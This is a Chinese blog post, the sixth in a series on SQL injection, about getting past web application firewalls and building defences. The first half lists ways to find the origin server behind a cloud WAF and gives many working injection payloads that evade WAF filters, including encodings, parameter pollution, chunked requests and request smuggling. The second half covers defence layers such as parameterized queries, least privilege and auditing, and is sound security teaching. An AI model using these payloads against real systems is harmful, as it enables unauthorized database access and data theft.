SQL注入(六)WAF绕过与防御体系

前五篇都在讲怎么打。这一篇讲两边:WAF 分几类、各自的弱点在哪、通用绕过手法逐条配 payload;以及反过来,从代码层到运营层怎么把 SQL 注入按住。

先给一个前提,后面所有内容都建立在它上面:WAF 是降低攻击效率的一层,不是杜绝攻击的一层。它基于规则和特征,绕过它的思路本质上就两种——让 payload 长得不像规则里的样子,或者让 WAF 看到的内容和真正执行的内容不是同一段。理解这两条,具体手法都能自己推。

一、WAF 分三类,弱点各不相同

1.1 云 WAF

部署方式是把域名的 DNS 解析指向 WAF 厂商的节点,WAF 反向代理回源站。用户的请求先到 WAF,WAF 检查完再转发。

代表产品是 Cloudflare、阿里云 WAF、腾讯云 WAF、AWS WAF 这一类。特点是接入简单——改个 DNS 就行,不需要动服务器;防护规则由厂商维护,更新及时。

它的弱点也很明确,而且只有一个:

源站 IP 一旦泄露,云 WAF 就等于不存在。

因为云 WAF 的防护完全依赖"流量先经过我"这个前提。攻击者直接拿源站 IP 发请求,流量根本不经过 WAF 节点。而很多站点在做完 DNS 接入之后,并没有在源站上限制只允许 WAF 的 IP 回源——这是最常见的配置疏漏。

次要的弱点还有几个:它只处理 HTTP/HTTPS,其他端口和协议管不到;超大请求体可能因为性能考虑被跳过检测;对 HTTP/2、畸形 multipart 等非标准请求的解析能力参差不齐。

1.2 怎么找云 WAF 背后的源站

这是打云 WAF 站点的第一步,也是投入产出比最高的一步。方法按有效率排序:

查历史 DNS 记录。 域名接入 WAF 之前一定解析到过真实 IP。SecurityTrails、ViewDNS、DNSDB、微步在线这类平台能查到历史解析记录。这是成功率最高的一个方法,很多站点接了 WAF 但从来没有清理过历史记录。

查子域名。 主站上了 WAF,但 test.、dev.、oa.、mail.、ftp.、jenkins. 这些子域经常直接指向源站,而且往往防护更弱。用子域爆破工具跑一遍,找到的 IP 可能就是源站的。

查证书透明日志。 crt.sh 之类的 CT 日志查询会列出域名签发过的所有证书,证书里可能带 IP 或者其他子域,顺着能摸到源站。

看邮件服务器。 MX 记录指向的服务器通常和 Web 服务器在同一个网段。拿到邮件服务器的 IP,扫同 C 段找 Web 特征。

看信息泄露。 phpinfo 页面、报错页、GitHub 上泄露的配置文件、前端 JS 里硬编码的 IP、Swagger 文档里的服务器地址,都可能直接写出源站。

SSRF。 如果目标自己有 SSRF 漏洞,让它去请求自己的域名,看解析结果。

直接拿 IP 加 Host 头访问。 如果已经通过某种方式拿到一个候选 IP,直接访问 http://IP/ 并带上 Host: 目标域名。如果返回的是正常的站点内容,说明源站没有做 Host 校验,也说明这个 IP 可以直接用。

扫同 C 段。 拿到任何一个相关 IP 之后,扫整个 C 段,用 favicon 的 hash、特定的响应头、证书信息去比对,找同源的机器。Fofa、Shodan 支持用 favicon hash 反查。

1.3 硬件 WAF

串联或者旁路部署在机房出口、链路中间,做透明代理。代表是绿盟、深信服、天融信、F5 ASM、Imperva 这一类。

它的优势是性能好、覆盖面全、不依赖 DNS 配置,内网和公网流量都能管。

弱点:

旁路模式下只告警不阻断。 旁路部署时它通过镜像流量分析,发现攻击只能发告警,拦不住。很多机房为了不影响业务就是旁路部署的,这种 WAF 在实战里基本等于没有。

规则相对固定。 特征库更新依赖厂商,对新的绕过手法响应慢。

部署位置决定了它的盲区。 它看不到内网横向的流量,也看不到服务器之间的通信。打进去之后从数据库服务器发起的 OOB 请求也不经过它。

1.4 软件 WAF

装在服务器上,跟着应用走。有 PHP 扩展形式的、有 Agent 形式的、也有反向代理形式的。代表是安全狗、云锁、D盾、ModSecurity、雷池社区版。

它最大的问题不是技术,而是它的规则是公开的。

ModSecurity 是开源的,CRS(Core Rule Set)规则集在 GitHub 上能直接下载。攻击者可以在本地搭一套一模一样的 ModSecurity + CRS,对着它反复试 payload,试通了再打目标。 云 WAF 做不到这一点——你拿不到厂商的规则,也没法本地复现。这是软件 WAF 和云 WAF 最本质的区别。

其余的弱点:它消耗服务器的 CPU 和内存,规则开多了性能掉得厉害,管理员可能因此关掉一部分规则;它和应用耦合,某些传参方式(比如畸形 multipart、特殊的 Content-Type)它解析不全,而后端能正常解析,这就产生了差异;版本更新不及时。

二、通用绕过手法

2.1 大小写

最基础的一招,针对大小写敏感的字符串匹配:

?id=1' UnIoN SeLeCt 1,2,3--+
?id=1' aNd 1=1--+
?id=1' oR 1=1--+

现在的 WAF 基本都用大小写不敏感的正则(编译时加 i 标志),所以单独用大小写几乎没有效果。但它在和其他手法叠加时仍然有用——比如 WAF 先做了一次小写化再匹配,而过滤逻辑是替换型的时候。

2.2 关键词替换

双写。 利用"过滤逻辑是替换为空"这个特点:

?id=1' ununionion selselectect 1,2,3--+
?id=1' aandnd 1=1--+
?id=1' oorr 1=1--+

ununionion 里去掉一个 union 剩下 union,selselectect 去掉一个 select 剩下 select。

关键前提要说清楚:双写只对"替换型"过滤有效。 如果 WAF 的行为是检测到关键字直接返回 403 拒绝,那 ununionion 里的 union 一样会被匹配到,照样拦。判断方法是看响应——被拦时返回的是 403 还是"参数已过滤"之类的正常但无结果页面。前者双写没用,后者才有戏。

同义函数替换。 这个最实用,因为可替换的太多:

substr        -> mid / substring / left / right
ascii         -> ord / hex
sleep         -> benchmark / 笛卡尔积重查询
=             -> like / regexp / between ... and / in
concat        -> concat_ws
group_concat  -> 用 limit 逐行取
user()        -> current_user() / session_user()
database()    -> schema()
version()     -> @@version

对应的 payload:

?id=1' and mid(database(),1,1)='s'--+
?id=1' and ord(substr(database(),1,1))>100--+
?id=1' and (select database()) like 'sec%'--+
?id=1' and (select database()) regexp '^s'--+
?id=1' and database() between 0x61 and 0x7a--+

/**/ 作为分隔符。 这里要纠正一个流传很广的写法。

/**/ 可以替代空格,把两个相邻的关键字隔开:

?id=1'/**/union/**/select/**/1,2,3--+
?id=1'/**/and/**/1=1--+
?id=1'/**/or/**/1=1--+

这几种是成立的,因为 union 和 select 本来就是两个独立的 token,/**/ 在这里起的就是空白符的作用。

但是很多文章里写的 sel/**/ect、upd/**/atexml、un/**/ion 这种"把注释插进一个关键字内部"的写法,在 MySQL 上是不成立的。原因是 MySQL 的词法分析器在扫描标识符时,遇到 / 就结束了——sel 是一个完整的标识符,然后 /**/ 被当作注释跳过,ect 是另一个标识符。两个标识符挨在一起是语法错误,不会拼回 select。

这个写法之所以流传,是因为它看起来很合理,而且抄来抄去没人验证。照着打只会得到一个语法错误,然后你会以为是 WAF 拦的,白白浪费排查时间。真正要在关键字上做文章,用下面这个。

内联注释。 MySQL 的 /*! */ 有版本条件执行的能力:

?id=1' /*!50000union*//*!50000select*/ 1,2,3--+
?id=1'/*!50000and*/1=1--+
?id=-1' union /*!50000select*/ 1,2,3--+

/*!50000select*/ 的意思是"MySQL 版本大于等于 5.00.00 时执行里面的 select,否则当注释忽略"。因为绝大多数 WAF 把 /*! ... */ 整体当注释对待并跳过检测,而 MySQL 会真的执行它,这就构成了一个稳定的绕过点。

版本号随便填一个小于目标的数字就行,也可以不带版本号写 /*!select*/,那样是无条件执行。

2.3 编码

编码能不能绕过,取决于一件事:WAF 解码几次,后端解码几次。两边次数不一致,中间那一层就是绕过空间。

URL 编码:

select  ->  %73%65%6c%65%63%74
空格    ->  %20 或 +

如果 WAF 会先对参数做一次 URL 解码再匹配,那单次编码没有意义——它解出来就是 select。

双重 URL 编码:

%  ->  %25
select  ->  %2573%2565%256c%2565%2563%2574

WAF 解一次拿到 %73%65%6c...,这不是 select,放行;如果后端恰好会解两次,最终拿到的就是 select。这就是典型的"解码次数差异",能不能用得看目标实际行为。

Unicode 编码:

select  ->  %u0073%u0065%u006c%u0065%u0063%u0074

%uXXXX 是 IIS/ASP 环境的编码形式,只对这类环境有效。

十六进制:这里有一个常见误解要澄清。

十六进制不能用来替代关键字。0x73656c656374 在 SQL 里是一个字符串 'select',不是一个可以执行的 SELECT 语句。写 0x73656c656374 1,2,3 只会语法错误。

它真正的用途是替代字符串值和标识符,从而绕开引号过滤:

-- database() 换成十六进制字符串
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=0x7365637572697479--+

0x7365637572697479 就是 security。这里绕掉的是引号,不是关键字。

或者用 char() 构造字符串:

?id=1' and database()=char(115,101,99,117,114,105,116,121)--+

HTML 实体和全角字符:

'  ->  '  ->  %26%2339;
select  ->  select

适用于中间有 HTML 解码环节的场景,比如参数先经过富文本处理。

2.4 HTTP 参数污染(HPP)

同一个参数名传多次,不同中间件取值规则不一样:

PHP/Apache 取最后一个;ASP.NET/IIS 会把多个值拼成逗号分隔;Java/Tomcat 取第一个;Node.js/Express 会变成数组。

绕过逻辑就是利用这个不一致——让 WAF 检查的值和后端实际使用的值不是同一个:

GET /news.php?id=1&id=1' union select 1,2,3--+ HTTP/1.1

如果 WAF 取第一个值 1 来检查(干净),而 PHP 取最后一个值来执行(恶意),就绕过去了。反过来也有用:把恶意内容放前面、干净内容放后面,对付取第一个值的 WAF。

关键是先判断目标的中间件,再决定恶意值放前还是放后。

2.5 分块传输

Transfer-Encoding: chunked 时,请求体被拆成若干块,每块前面用十六进制写这个块的字节数。很多 WAF 只检查第一个块,或者干脆放弃对 chunked 请求体做完整重组。

构造方法:把 payload 拆到不同的块里,任何只检查单块的规则都看不到完整的恶意串。

POST /news.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

a
id=1' and 
b
sleep(5)--+
0

三个要点:

每块前面的 a、b 是这个块的字节数的十六进制。id=1' and 是 10 个字符,十六进制是 a;sleep(5)--+ 是 11 个字符,十六进制是 b。

每块内容后面必须紧跟 CRLF(回车换行),不是随便换行。

最后必须有一个长度为 0 的块,然后跟一个空行表示结束。

这套报文手写容易出错,Burp 的插件或者 sqlmap --chunked 能自动生成。手写的时候长度算错会直接被拒,所以先用一块小内容验证格式,再上真实 payload。

2.6 注释符与空白符

MySQL 里能当空白用的字符比想象中多,被过滤了空格时挨个试:

%20   空格
%09   水平制表符
%0a   换行
%0b   垂直制表符
%0c   换页
%0d   回车
/**/  块注释
+     URL 里解码成空格
?id=1'%0aand%0a1=1--+
?id=1'%09and%091=1--+
?id=1'/**/and/**/1=1--+
?id=1'+and+1=1--+

注释符本身的作用是把原 SQL 剩下的部分注释掉,三个选择:

?id=1'--+       MySQL 的 -- 后面必须跟空白,URL 里写 --+ 或 --%20
?id=1'%23       %23 是 #,MySQL 特有
?id=1'/**/      块注释,五个数据库都支持,通用性最好

-- 写在请求末尾时容易被中间件截掉,--+ 比 -- 稳。# 在 URL 里有特殊含义(fragment 分隔符),必须编码成 %23。

2.7 换 Content-Type 和畸形请求

换 Content-Type。 很多 WAF 只解析 application/x-www-form-urlencoded 的请求体:

Content-Type: application/x-www-form-urlencoded   ->  WAF 会解析
Content-Type: multipart/form-data                 ->  WAF 可能不解析
Content-Type: text/plain                          ->  WAF 可能不解析
Content-Type: application/json                    ->  看 WAF 支持程度

能不能用取决于后端怎么读参数:PHP 只会为 urlencoded 和 multipart 填充 $_POST,text/plain 下 $_POST 是空的;但如果应用是直接读 php://input 自己解析的,那就照样能拿到。先确认后端读参数的方式,再决定换哪种。

畸形 multipart 边界。 构造不符合 RFC 规范的 boundary(多余的空格、引号、特殊字符),让 WAF 的 multipart 解析器出错并跳过检测,而后端用的是容错性更强的解析器,能正常取出参数。这个手法的本质还是制造解析差异。

超大请求体。 WAF 出于性能考虑,通常对超过某个阈值的请求体跳过深度检测。构造一个几十 MB 的 body,把 payload 藏在中间。缺点是流量大、容易触发别的告警,而且阈值因产品而异,需要试探。

垃圾数据填充。 在 payload 前后塞大量无关内容,干扰基于位置或长度的检测规则:

?id=1' and/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/1=1--+

%00 截断。 在某些语言的特定函数里 %00 会截断字符串,让 WAF 只看到前面干净的部分。现代语言和框架基本已经修复,属于历史手法。

换请求方法。 有些 WAF 只对 GET 做完整检测,试试 POST、PUT、OPTIONS。

2.8 协议层:请求走私

前面所有手法都在"payload 长什么样"这个层面上做文章。请求走私换了一个维度:让 WAF 和后端看到的是两个不同的请求。

原理是当请求里同时存在 Content-Length 和 Transfer-Encoding 两个头时,不同实现的选择不一样。WAF 可能按 Content-Length 判断请求体到哪结束,而后端按 Transfer-Encoding 判断,两者的"边界"就对不上了。

构造出来的效果是:WAF 检查的第一段是干净内容,通过了;但后端把边界往后延,把藏在后面的恶意请求当成第二个请求处理——这个请求根本没经过 WAF 检测。

具体构造分 CL.TE 和 TE.CL 两种,取决于 WAF 和后端各自认哪个头。这是需要实际探测的技术,Burp 有专门的插件(HTTP Request Smuggler)。

HTTP/2 也有类似问题:WAF 对 h2 的支持不完整时,用 h2 或 h2c 发送请求,可能让它跳过检测。

2.9 绕过思路的总结

把所有手法归一下类,会发现只有两种本质:

一是制造"看起来不一样"。 大小写、双写、同义函数、注释分隔、内联注释、编码、垃圾填充都属于这一类。让 payload 在 WAF 的规则眼里不匹配特征,但在数据库眼里仍然是合法且有意义的 SQL。

二是制造"解析不一致"。 HPP、分块传输、Content-Type 变换、畸形 multipart、请求走私都属于这一类。利用 WAF 和后端对同一段字节的不同理解,让 WAF 检查的内容和执行的内容错开。

第一种依赖 WAF 规则的疏漏,第二种依赖 WAF 实现的缺陷。第二种通常更稳定,因为它不依赖规则写得全不全,而依赖架构上的固有差异——只要 WAF 和后端是两个不同的程序,解析差异就永远存在。

三、防御体系

前面讲的绕过手法,对应到防御就是一个个具体的点。按层次来。

3.1 代码层

参数化查询是唯一的根本解。 其余所有措施都是补充。第一篇列过预编译失效的十个场景,防御就是对着那些场景逐一处理:

值的位置用 ?(PHP PDO)或 #{}(MyBatis),这没什么好说的。

无法参数化的位置——ORDER BY 的字段名和方向、表名、列名、LIMIT——用白名单映射,不是用过滤:

// 错误:拼接,过滤也挡不住
String sql = "select * from news order by " + sort;

// 正确:白名单,不在名单里就用默认值
private static final Set<String> ALLOWED_SORT =
    Set.of("id", "title", "createtime");
if (!ALLOWED_SORT.contains(sort)) {
    sort = "id";
}
String sql = "select * from news order by " + sort;   // 此时 sort 必然在白名单里

白名单和黑名单的区别在于:黑名单永远列不全,白名单只要写得够严就是安全的。排序字段本来就只有那么几个合法值,用白名单没有任何负担。

LIKE 的参数要转义 % 和 _,否则用户传 % 就能查出全表——这不是注入,但同样是越权。

输入校验做类型、长度、格式的检查,能做数字类型的就不要接受字符串。

统一错误页,关掉 SQL 报错回显。 PHP 里 display_errors=Off,Java 里别把异常堆栈返回给前端,生产环境的 debug 一律关闭。这一条直接把报错注入整条路砍掉,成本极低,收益很高。

不要为了"动态条件"去拼 SQL。 搜索页需要按不同字段组合查询,这是常见需求,但正确做法是用 ORM 的条件构造器或者预编译 + 动态拼占位符——动态的是 ? 的个数,不是 SQL 片段。

3.2 数据库层

最小权限。 业务账号只需要 SELECT/INSERT/UPDATE/DELETE,不需要 FILE、DROP、CREATE、GRANT、SUPER:

create user 'app'@'10.0.0.%' identified by '强密码';
grant select,insert,update,delete on app_db.* to 'app'@'10.0.0.%';

注意后面要跟网段限制,别写 '%'。这样即使注入成立,攻击者也读不了文件、写不了 webshell、建不了函数。

关掉不需要的能力:

secure_file_priv 设成 NULL,彻底禁用 MySQL 的文件读写,UDF 提权和写 webshell 两条路同时断掉。

SQL Server 关闭 xp_cmdshell 和 Ole Automation Procedures:

exec sp_configure 'xp_cmdshell',0;reconfigure;
exec sp_configure 'Ole Automation Procedures',0;reconfigure;

禁用 LOAD DATA LOCAL INFILE,防止恶意 MySQL 服务端读取客户端本地文件。

敏感数据加密存储。 密码用 bcrypt 或 argon2 存哈希(不是 MD5,更不是明文),手机号、身份证号做加密或者脱敏。这一条不能防注入,但决定了注入成功之后的损失有多大。

3.3 架构层

WAF 作为纵深防御的一层。 要用,但不要指望它。正确的定位是"提高攻击成本、拦住自动化扫描器",而不是"防止 SQL 注入"。真实的攻击者会绕过它,而参数化查询不会。

RASP。 运行时应用自我保护,在应用内部 Hook 数据库访问和危险函数调用。它比 WAF 更贴近实际执行点,看到的是解码、变形之后的最终 SQL,所以编码、注释、分块这些手法对它没用。代价是性能开销和接入成本,适合核心业务。

数据库审计。 记录所有执行的 SQL,对异常模式告警:短时间内大量查询 information_schema、出现 union select、非业务时段的批量查询、单个账号的查询量突增。这是唯一能在"已经绕过全部防护"之后还发现问题的措施。

站库分离,数据库不暴露公网。 Web 服务器和数据库服务器分开,数据库只接受来自 Web 服务器的连接。这样即使 Web 被打穿,数据库也不会直接暴露;同时也限制了 OOB 的出网路径。

把安全卡在 CI 里。 SAST 做静态扫描,重点查字符串拼接 SQL、${}、last()、apply()、raw() 这些模式;DAST 做动态扫描。扫描规则要针对本项目的框架定制,因为通用的 SQL 注入规则对 MyBatis 的 ${} 这类问题识别率不高。

3.4 运营层

日志监控和告警。 重点看这几个信号:同一 IP 对同一 URL 的高频请求(识别 sqlmap,第五篇 3.4 讲过具体做法)、URL 和请求体里出现 SQL 关键字、单个接口大量返回 500、数据库账号的异常查询行为。

应急响应流程要提前定好。 发现注入之后:定位入口点 → 临时封禁(WAF 规则、IP 封禁)→ 代码修复 → 排查是否已经被利用(有没有被拖库、有没有被写入 webshell、数据库账号有没有被改)。最后这一步经常被跳过,但它是决定损失大小的关键——把漏洞补上不等于攻击者已经离开。

四、把攻击链和防御点对上

最后把整篇文章串起来。一次完整的 SQL 注入攻击会经过几个阶段,每个阶段都有对应的防御点,任何一环挡住,攻击链就断了:

第一阶段,注入点存在。 防御点是参数化查询和白名单映射,这是唯一从根上解决问题的措施,也是这一层唯一有效的措施。

第二阶段,探测。 攻击者要确认注入存在、判断数据库类型、确定闭合方式。防御点是关闭报错回显(砍掉报错注入的整条路)加上 WAF(提高自动化探测的成本)。

第三阶段,取数。 攻击者用联合、报错、盲注把数据拖出来。防御点是最小权限(让他查不到别的库表)、敏感字段加密(查到也看不懂)、数据库审计(拖库行为会被记录)。

第四阶段,写文件、拿 shell。 防御点是 secure_file_priv=NULL、web 目录对数据库进程不可写、站库分离、RASP 拦截文件写入调用。

第五阶段,提权。 UDF、MOF、xp_cmdshell。防御点是禁掉 UDF 加载、关闭 xp_cmdshell、让数据库服务以低权限账号而不是 SYSTEM 或 root 运行——这一条最容易被忽略,但效果最直接,提权的前提"数据库进程权限高"直接就不成立了。

第六阶段,横向移动。 攻击者去读配置文件拿其他系统的密码。防御点是配置文件里的密码加密、内网隔离、数据库账号不能跨机器复用。

把这六个阶段和前面的技术细节对照着看,会发现防御体系不是一堆独立措施的堆叠,而是针对攻击链每一环设置的一道门。纵深防御的意思就是这个:不指望某一层绝对可靠,但要让攻击者在每一层都付出成本。

而如果只能选一件事做,选第一阶段的参数化查询。其余的都是在参数化失效时的补救,不应该成为主要依赖。


六篇写完了。整个系列从一条 SQL 语句怎么被拼接开始,到注入点定位、四种利用方式、多数据库差异、提权拿 shell、工具原理,最后到 WAF 绕过和防御,形成了一条完整的链路。回头再看第一篇里那句"代码和数据的边界被打破",后面所有内容都是这句话的展开。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇